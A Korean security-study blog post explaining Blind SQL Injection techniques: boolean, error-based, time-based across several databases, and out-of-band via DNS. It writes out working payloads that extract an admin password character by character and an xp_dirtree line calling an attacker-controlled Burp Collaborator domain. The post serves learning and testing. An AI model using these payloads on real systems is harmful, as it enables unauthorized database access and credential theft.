• 티스토리 홈
  • 프로필사진
    truebird
  • 방명록
  • 자기소개
  • 태그
  • 블로그 관리
  • 글 작성
truebird
  • 프로필사진
    truebird
    • 분류 전체보기 (7)
      • Red Teaming Study (0)
        • Tech (0)
        • Prob (0)
      • Web Hacking (6)
        • Tech (5)
        • CTF - Write up (1)
      • Fosensics (0)
        • Tech (0)
        • CTF - write up (0)
      • ETC (0)
      • Android (1)
        • tech (1)
        • Prob (0)
  • 방문자 수
    • 전체:
    • 오늘:
    • 어제:
  • 최근 댓글
      등록된 댓글이 없습니다.
    • 최근 공지
      • IT's Me
      등록된 공지가 없습니다.
    # Home
    # 자기소개
    #
    # 태그
    # 검색결과
    # 방명록
    • Blind SQL Injection
      2025년 07월 05일
      • truebird
      • 작성자
      • 2025.07.05.:46

      [서론]

      일반적인 SQL Injection은 결과를 화면에 출력 해 줘야 공격자가 쿼리 결과를 보고 판단 할 수 있지만, 화면에 결과가 보이지 않는 경우 다른 방법으로 결과를 도출해 내야합니다. 즉 이런 상황에서 쓸수 있는 것이 Blind SQL Injection이다. Blind SQL Injection은 SQL Injection에 취약한건 확실한데, 응답 값에 쿼리 결과나 데이터 베이스 오류가 표시되지 않는 경우 발생 하는 취약점입니다 

       

      [본론]

      Blind SQL Injection의 사용 방법은 다양 합니다. 이 글에서 적지 못한 방법들이 있을것 같은데 해당 방법들에 대해서는 다음에 적어 보도록 하겠습니다. 또 다음에 미루는 ... 😂

       

      (1). 조건에 따라 응답이 달라지는 경우

      서버가 TrackingId라는 쿠키 값을 사용해 다음과 같은 SQL 쿼리를 실행한다고 가정 해 봅시다.

      SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

      이때 TrackingId가 존재 하면, Welcom back이는 메시지를 보여 주는 방식이라고 한다면 이를 통해 쿼리 경과의 참/거짓 여부를 알 수 있습니다. 이때 입력 값을 xyz' AND '1'='1 이런 식으로 넣은 경우 1=1 이 참이기 떄문에 Welcom back이라는 메시지가 출력 됩니다. 하지만 입력값을 xyz' AND '1'='2 이라고 넣은 경우 1=2가 거짓이기 때문에 메시지가 출력되지 않습니다. 그렇다면 이것을 통해 Password를 알아 낼 방법이 있습니다. 

      TrackingId=xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'), 1, 1) = 's

       

      (2). 응답이 같지만, 에러를 유도할 수 있을 때

      돌아오는 응답 값이 항상 똑같지만, 특정 조건이 참일 때만 에러가 발생하도록 만들수 있습니다. 

      xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

       

      1=1 이 참이면 1/0이므로 zero division이 발생합니다. 1=2면 거짓이 되므로 'a'를 반환합니다.

       

      (3). 시간 지연을 유도하는 방법

      특정 경우에는 오류도, 응답 차이도 없을 수 있습니다. 이러한 경우에는 쿼리 실행 시간을 인위적으로 지연시켜서 참/거짓을 판별 할 수 있습니다.

      #MySQL - SLEEP(seconds)
      ' OR IF(1=1, SLEEP(5), 0)-- 
      ' OR IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) > 109, SLEEP(5), 0)--
      
      #MSSQL - WAITFOR DELAY 'hh:mm:ss'
      '; IF (1=1) WAITFOR DELAY '0:0:5'-- 
      '; IF (ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)) > 109) WAITFOR DELAY '0:0:5'--
      
      #Oracle - DBMS_LOCK.SLEEP(seconds) 또는 UTL_INADDR.GET_HOST_ADDRESS
      ' OR 1=1; BEGIN DBMS_LOCK.SLEEP(5); END;-- 
      ' OR (SELECT CASE WHEN ASCII(SUBSTR(password, 1, 1)) > 109 THEN DBMS_LOCK.SLEEP(5) ELSE NULL END FROM users WHERE username='admin')--
      # DBMS_LOCK.SLEEP은 권한이 필요하다. 일반 계정은 사용 못 할 수 있다.
      
      #PostgreSQL - pg_sleep(seconds)
      ' OR 1=1; SELECT pg_sleep(5)-- 
      ' OR (SELECT CASE WHEN ASCII(SUBSTRING(password, 1, 1)) > 109 THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username='admin')--
      
      #SQLite - 기본적으로 SLEEP()같은게 없다.
      SELECT load_extension('libsqlitefunctions.so');
      SELECT sleep(5);
      #이런식으로 가능 하기는 한데, Timebased Blind SQLi는 잘 사용되지 않는다.

       

      (4). 외부 서버로의 요청을 유도하는 방식

      SQL 쿼리가 백그라운드에서 실행 되거나, 응답/에러/시간 지연이 전혀 보이지 않는 경우에는 OAST 방식이 필요 합니다.

      '; exec master..xp_dirtree '//[내도메인].burpcollaborator.net/a'--

      해당 쿼리를 통해 내가 만든 도메인으로 DNS 요청이 나가게 하여, 서버가 내 쿼리를 실행 했는지 감지합니다.

      'Web Hacking > Tech' 카테고리의 다른 글

      SQL Injection  (0) 2025.07.04
      CSRF  (1) 2025.06.28
      XSS  (0) 2025.06.28
      WEB 해킹 들어가기 - 베이스 쌓기  (0) 2025.06.28
      다음글
      다음 글이 없습니다.
      이전글
      이전 글이 없습니다.
      댓글
    조회된 결과가 없습니다.
    스킨 업데이트 안내
    현재 이용하고 계신 스킨의 버전보다 더 높은 최신 버전이 감지 되었습니다. 최신버전 스킨 파일을 다운로드 받을 수 있는 페이지로 이동하시겠습니까?
    ("아니오" 를 선택할 시 30일 동안 최신 버전이 감지되어도 모달 창이 표시되지 않습니다.)
    목차
    표시할 목차가 없습니다.
      • 안녕하세요
      • 감사해요
      • 잘있어요

      티스토리툴바